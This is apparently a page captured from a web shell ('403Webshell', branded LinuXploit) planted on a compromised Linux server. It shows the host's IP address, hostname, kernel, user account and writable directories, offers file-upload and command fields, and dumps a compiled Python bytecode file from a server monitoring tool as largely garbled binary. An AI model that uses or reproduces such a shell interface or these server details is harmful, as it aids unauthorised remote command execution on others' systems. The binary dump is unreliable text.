403Webshell
Server IP : 3.138.164.131  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux ns1.techtime.me 4.18.0-147.8.1.el8.lve.1.x86_64 #1 SMP Mon Jun 29 09:55:57 EDT 2020 x86_64
User : injazaat ( 1471)
PHP Version : 8.1.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python37/lib/python3.7/site-packages/wmt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/opt/alt/python37/lib/python3.7/site-packages/wmt/__pycache__/main.cpython-37.pyc
B

2xa�4�	@s*ddlZddlZddlZddlZddlZddlZddlZddlmZm	Z	ddl
mZmZddl
mZddlmZddlmZmZmZmZmZddlmZmZmZmZddlmZdd	lmZdd
l m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(ddl)m*Z*m+Z+ddl,m-Z-dd
l.m/Z/ddl0m1Z1ed�Z2dd�Z3dd�Z4eGdd�d��Z5dd�Z6d3dd�Z7d4ed�dd�Z8d5dd�Z9dd �Z:d!d"�Z;d#d$�Z<d%d&�Z=d'd(�Z>d)d*�Z?d+d,�Z@d-d.�ZAeBd/k�r&eCe�D��ZEe2�Fd0eE�ee%eE��Fed1ed2�e"�e�ejGe3�e�ejHe4�e�I�ZJeJ�KeA��WdQRXdS)6�N)�datetime�	timedelta)�Optional�Iterable)�	dataclass)�or_)�ScrapeResult�DomainAlerts�setup_database�
session_scope�cleanup_old_data)�get_domains�setup_logger�save_pid_and_lock�	intersect)�init_sentry_client)�get_pkg_version)�PING_TIMEOUT_STATUS_CODE�
SENTRY_DNS�!ERROR_DOMAINS_PING_RETRY_INTERVAL�ERROR_DOMAINS_ALERT_INTERVAL�
WMT_LOCK_FILE�PING_CONNECTIONS�&LICENSE_EXPIRED_FAREWELL_LETTER_MARKER�LICENSE_CHECK_PAUSE)�Notifier�SupportedNotificationTypes)�ErrorReport)�cfg)�CloudlinuxLicenseLibZwmt_scannercCs t��t�dtt����dS)NzReloading config: %s)r�reload�logger�info�strZto_dict)�
sig_number�frame�r&��/builddir/build/BUILDROOT/cl-web-monitoring-tool-2.1.1-1.el8.cloudlinux.x86_64/opt/alt/python37/lib/python3.7/site-packages/wmt/main.py�reload_conf-sr(cCst�d�dS)zp
    Shutdown to call finally block to
    close all fds, remove lock and file
    see: save_pid_and_lock()
    rN)�sys�exit)r$r%r&r&r'�shutdown2sr+c@s6eZdZUeed<dZeeed<dZeeed<dS)�ScrapeCoroResult�urlN�
response_code�response_time_ms)	�__name__�
__module__�__qualname__r#�__annotations__r.r�intr/r&r&r&r'r,;s
r,c�s�t��4IdH��}|4IdH��t��}yH|j||d�4IdH�"}t||jtdt��|�d�SQIdHRXWnDtjj	k
r�t|t
|dd�Stjjk
r�t|dd�SXWdQIdHRXWdQIdHRXdS)a
    Main 'pinger'
    1. Requests domains
     - if domain responded - keep status code
     - if no response for timeout - keep Timeout status code
     - if unreachable (ConnectionError or so) - keep 523 status code
       (same logic as go implementation)
    N)�timeouti�)r.r/i)r.)
�aiohttpZ
ClientSession�time�getr,Zstatusr4�
concurrentZfutures�TimeoutErrorrZclient_exceptionsZClientError)r-�ping_timeout�	semaphore�session�startZrespr&r&r'�pingCs	 (r?ccs<|dkrt�n|}x$|D]}t�|�st|||�VqWdS)z�
    ping_timeout: specified in config timeout time (s) for request
    semaphore: semaphore obj to handle asyncio tasks
    ping_target_domains: mostly needed for re-pinging error domains
    N)r
rZis_domain_ignoredr?)r;r<�ping_target_domains�domains�domainr&r&r'�	executors_s


rC)�returnc�s@tt|||��}t|�dkr gStjt|�|d�IdH\}}|S)Nr)r5)�tuplerC�len�asyncio�wait)Zping_site_timeout�
ping_intervalr<r@Ztasks�pinged�_r&r&r'�scrape_sitesls
rLc
Cst�}i}g}t|���}x`|D]X}|��}|�t|jd|j|jd��|�|j�|jdkrj|j||j<q|�|j�qW|�	t
��t
j�
|��jtdd�dd�WdQRX|dk	r�|nt�}	t|	�|}
t|��&}x|
D]}|�t|dd��q�WWdQRX|S)	a
    - obtains all scrape coro results from asyncio tasks
    - saves ping results to ScrapeResult table
    - updates 'is_resolved' field in DomainAlerts table, in case
      error domain`s status code was changed to 200
    - returns domains with non-200 status code code
    T)�website�is_finishedr.r/��)�is_resolvedF)Zsynchronize_sessionN)rMrN)�setr�result�addrr-r.r/�append�queryr	�filterrM�in_�update�dictr
)�enginerJr@Zfinished_domainsZerrors_domainsZresolvedr=ZtaskrRrAZunfinished_domainsZ
unfinishedr&r&r'�manage_ping_resultsts6





r[c	Csjt��ttd�}t|��F}|�tj��tj�	t
|����ttj
|ktjdk��}dd�|D�SQRXdS)z�
    - gets websites that must NOT be included in alert email:
          less than ERROR_DOMAINS_ALERT_INTERVAL passed or is_resolved marker was not
          changed from last alerting
    )ZhoursFcSsg|]
}|j�qSr&)rM)�.0�rowr&r&r'�
<listcomp>�sz%get_recent_alerts.<locals>.<listcomp>N)r�nowrrrrUr	rMrVrW�list�keysr�
alert_timerP)rZ�
alert_domainsZrepeat_intervalr=�recently_alertedr&r&r'�get_recent_alerts�s

recCsLt�dtt|�����dd�|��D�}ttjtj	d|it
jd���|S)z�
    prepares needed error report object with error domains
    to be alerted and sends this mail
    returns alerted domains
    zAlerts will be sent for %sc
Ss2g|]*\}}t|d�ttt|���t|�d��qS)z, )r-�codeZcount_errors)r�join�mapr#rQrF)r\rBZcodesr&r&r'r^�szalert.<locals>.<listcomp>�error_report)�target_email�
from_email�report�notification_type)
r!r"r#r`ra�itemsrrrjrkrZALERT�notify)Zdomains_datarir&r&r'�alert�srpc	s�t||���fdd�|��D�}|sBt�dtt|����t�dSt|�t	�
�}t|��x}|�t
��t
j���}dd�|D�}xL|D]D}||kr�|�t
��t
j|k��t|dd��q�|�t
||d	��q�WWdQRXdS)
aJ
    - gets recently alerted domains (those that must not be alerted again)
      and does not include them for alerting
    - calls alerting for left domains
    - updates DomainAlerts table:
      if website was not alerted -> adds new record
      if website was alerted before -> updates alert time and is_resolved marker
    csi|]\}}|�kr||�qSr&r&)r\�k�v)rdr&r'�
<dictcomp>�sz flush_alerts.<locals>.<dictcomp>zDAll domains "%s" were alerted or still not resolved in last %d hoursNcSsg|]
}|j�qSr&)rM)r\r]r&r&r'r^�sz flush_alerts.<locals>.<listcomp>F)rbrP)rMrb)rernr!r"r#r`rarrprr_rrUr	Z
with_entitiesrM�allrVrXrYrS)rZrcZdomains_to_alertr_r=ZwebsitesZurlsrBr&)rdr'�flush_alerts�s&	




rucCs|rtjjrdSdS)NTF)rZalert_notifications_enabled)�
error_domainsr&r&r'�should_be_repinged�srwcCs$tj�t�r t�d�t�t�dS)NzCloudLinux license was updated)�os�path�existsrr!r"�remover&r&r&r'�cleanup_farewell_letter_marker�s
r|cCsXy4tj�t�s2t�d�ttjtj	it
jd���Wnt
k
rRt�d�YnXdS)z@
    Sends farewell letter once (if it was not sent before)
    z/Going to send last email about expired license!)rjrkrlrmz$Error while managing farewell letterN)rxryrzrr!�warningrrrjrkrZFAREWELLro�	Exception�	exceptionr&r&r&r'�manage_license_farewell�s
r�c

�s�t��}tjjd}�zF�yt�t|�t�t�}ttjj	||�IdH}t
||�}t|��r2t�
dt|��x�tjjd}|tkr�t��|}t�ttt|d�d��IdH|tkr�ttjj	|||��d�IdH}t
|||���}	t||	�}
Pqpt||�}
|}PqpW|
�r6t�
dtt|
�����t||
�ng}Wn tk
�rXt�d�YnXWdxNtjjd}t��|}tt||d�d�}t�|�IdH||k�r`P�q`WX|S)	aF
    Scanner logic:
    1. Scrapes domains and obtains ping results;
    2. Manage ping results (e.g: saving to DB)
    3. In case error domains found -> start re-pinging
       Re-pinging:
         - in min(ping_interval, 5 mins)
         - flush alerts if needed
    4. Sleep for ping_interval until next ping iteration
    �<Nz8Those domains are unsuccessful: %s 
 Try to re-ping themr�
)r@z1Domains with unsuccessful status code found: "%s"zError during ping iteration!)r7rrIr|rrGZ	SemaphorerrLr;r[rwr!r"r#r�sleep�min�maxrarr`rur~r)
�previously_erroredrZr>�ping_interval_secondsr<Zping_resultrvZelapsed_for_pingZping_retry_resultZretry_errorsrc�elapsed�
sleep_timer&r&r'�scrape_iterationsR







r�c�s�t�}g}d}xvt���r0d}t||�IdH}q|d7}|dkrJt�d�|dkr\t�d}tjjd}t	|t
�}t�|�IdHqWdS)z�
    Main loop for wmt_scanner_solo service
    each 'while: True' iteration returns errored domains
    (domains that responded with non-200 status code)
    rN�z)Seems your CloudLinux license is expired!�r�)
r
rZget_license_statusr�r!r}r�rrIr�rrGr�)rZr�Zlicense_attemptr�r�r&r&r'�scrape_loopIs 


r��__main__zPID: %szweb-monitoring-toolzcl-web-monitoring-tool)N)N)N)LrGrxr)r6�signalr7Zconcurrent.futuresr9rr�typingrrZdataclassesrZ
sqlalchemyrZwmt.dbrr	r
rrZwmt.common.utilsr
rrrZclsentryrZclsentry.utilsrZwmt.common.constrrrrrrrrZwmt.common.notificationrrZwmt.common.reportrZ
wmt.commonrZ	cllicenserr!r(r+r,r?rCrLr[rerprurwr|r�r�r�r0r#�getpid�pidr"�SIGUSR1�SIGTERMZget_event_loopZloopZrun_until_completer&r&r&r'�<module>s\(
	


*"D


Youez - 2016 - github.com/yon3zu
LinuXploit